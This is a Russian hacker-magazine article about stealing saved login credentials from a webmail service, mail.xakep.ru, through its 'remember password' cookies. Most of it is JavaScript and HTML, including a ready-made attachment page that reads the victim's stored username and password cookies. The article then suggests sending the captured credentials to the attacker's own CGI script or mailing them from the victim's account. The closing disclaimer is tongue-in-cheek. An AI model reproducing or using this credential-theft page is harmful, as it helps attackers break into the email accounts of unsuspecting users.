Здравствуй!

Ты когда-нибудь задумывался о безопасности почты на основе WWW-Интерфейса? Скорее всего нет.
А если и да, то скорее всего на масли тебя натолкнул какой-нибудь журналист, сказавший что хакеры
(а по его словам это гении компьютерного мира, и вообще при одном их виде надо
падать и бояться :]) взломали xxxmail.xxx. Но ты не обратил на это сообщение особого внимания, а зря. 

По статистике большинство юзверей, которые пользуются мылом через свои любимые браузеры, очень
ленивы и рано или поздно им надоедает вводить пасс и логин. Для таких людей создатели почт предлагают
использовать всякие фишки по автоматическому заполнению паролей и логинов. Возникает интересный
вопрос: как сервер узнаёт кто пришел и чем заполнить форму? В большинстве случаев ответ —
Java+Cookies, так как эта технология поддерживается большинством браузеров (таких как Internet Explorer, Opera, Нетшкаф and so on …).

Возникает проблема: как достать эти кукисы? Это сделать ОЧЕНЬ просто :). (намного сложнее заставить юзера
посмотреть attachment :[ ). Давай рассмотрим это на примере какой-либо службы… Да чего долго ходить
можно посмотреть и на mail.xakep.ru :). Зарегистрировавшись, получаем «ясчик» (и обращаем внимание на
radio-button (переключатель) с надписью «Свой компьютер(запомнить имя и пароль)»). Ну что? Пусть запомнит
пасс и логин (допустим, что мы часто здесь бываем и оооооочень ленивы). При последующей загрузке страницы мы
видим введенные данные и нам остаётся только входить и радоваться жизни. Интересен код страницы
аутентификации. Этот кусок отвечает за то самое сохранение пасса:

<SCRIPT LANGUAGE=»JavaScript»>
<!—
———————————
function setCookie(name, value) {
var expire = «0, 01-01-2100 00:00:00 GMT»
document.cookie = name + «=» + escape(value) + «; expires=» + expire;
}
———————————
function Save()
{ var sqr = 0;
if (document.logon.sequrity[1].checked) {sqr=1;}
if (document.logon.sequrity[2].checked) {sqr=2;}
var name = document.logon.username.value;
var psw = document.logon.password.value;
var domain = document.logon.domain.value;
if (sqr == 0) { domain=»; name=»; psw=»; } else
if (sqr == 1) { psw=»; }
setCookie(‘qmail_name’, name);
setCookie(‘qmail_psw’, psw);
setCookie(‘qmail_sqr’, sqr);
// setCookie(‘qmail_domain’, domain);
}
//—>
</SCRIPT>

Значит cookie :). На этой же паге видим как их достать:

—————————
function getCookie(Name) {
var search = Name + «=»
if (document.cookie.length > 0) { // if there are any cookies
offset = document.cookie.indexOf(search)
if (offset != -1) { // if cookie exists
offset += search.length // set index of beginning of value
end = document.cookie.indexOf(«;», offset) // set index of end of cookie value
if (end == -1) end = document.cookie.length
return unescape(document.cookie.substring(offset, end))
}
}
}
—————————

<SCRIPT LANGUAGE=»JavaScript»>
<!—
var i = getCookie(‘qmail_name’);
if ((i != null)&&(i != «»)) {document.logon.username.value = i;}
i = getCookie(‘qmail_psw’);
if ((i != null)&&(i != «»)) {document.logon.password.value = i;}
i = getCookie(‘qmail_sqr’) || 0;
document.logon.sequrity[i].checked = true;
// i = getCookie(‘qmail_domain’);
// if ((i != null)&&(i != «»)) {document.logon.domain.value = i;}
document.logon.username.focus();
//—>
</SCRIPT>

Так. Пасс и логин теперь есть у сайта. Чем мы хуже? Делаем письмо человеку, пасс которого нам нужен, и
перекрепляем к нему пагу, содержащую наш пас-зиф. Код этой паги может быть изменённым сорсом этой
заготовки (в первом поле ввода логи во втором пасс):

<html>

<SCRIPT LANGUAGE=»JavaScript»>
<!— 
function getCookie(Name) {
var search = Name + «=»
if (document.cookie.length > 0) { // if there are any cookies
offset = document.cookie.indexOf(search)
if (offset != -1) { // if cookie exists
offset += search.length // set index of beginning of value
end = document.cookie.indexOf(«;», offset) // set index of end of cookie value
if (end == -1) end = document.cookie.length
return unescape(document.cookie.substring(offset, end))
}
}
}

//—>
</SCRIPT>
<br>
<table width=»100%» border=0 cellpadding=0 cellspacing=0>
<tr valign=»top» align=»center»>
<td width=»100%»>
<p></p>
<table cellpadding=1 cellspacing=0 border=0>
<form method=»post» name=»logon» action=»http://mail.xakep.ru/cgi-bin/mail» onSubmit=»Save();»>
<tr>
<td class=text><input type=»text» name=»username» size=»8″ style=»width: 95px;»><input type=»hidden» name=»domain» value=»xakep.ru»></td>
<td class=text><input type=»text» name=»password» size=»8″ style=»width: 95px;»></td>
</tr>
</form>
</table>
</td>
</tr>
</table>

<SCRIPT LANGUAGE=»JavaScript»>
<!—
var i = getCookie(‘qmail_name’);
if ((i != null)&&(i != «»)) {document.logon.username.value = i;}
i = getCookie(‘qmail_psw’);
if ((i != null)&&(i != «»)) {document.logon.password.value = i;}
i = getCookie(‘qmail_sqr’) || 0;
document.logon.sequrity[i].checked = true;
// i = getCookie(‘qmail_domain’);
// if ((i != null)&&(i != «»)) {document.logon.domain.value = i;}
document.logon.username.focus();
//—>
</SCRIPT>

</td>
</tr>
</table>
</HTML>

Далее же всё зависит от твой фантазии. Можно где-нибудь в сети выложить свою CGI, которая будет
принимать и «обрабатывать» логин и пасс жертвы, а можно, набравшись наглости, отправить от жертвы
себе на мыло письмо с «бесценной информацией». В общем как с тем журналом — «Делай с ним, что хочешь».

Вот собственно и всё. Я тебе ничего не говорил, это всё неправда и вообще это противозаконно. (Я серьёзно).

Оставить мнение

Check Also

А ты знал? 10 фактов о Python

Python — язык программирования с достаточно низким порогом вхождения, поэтому его часто вы…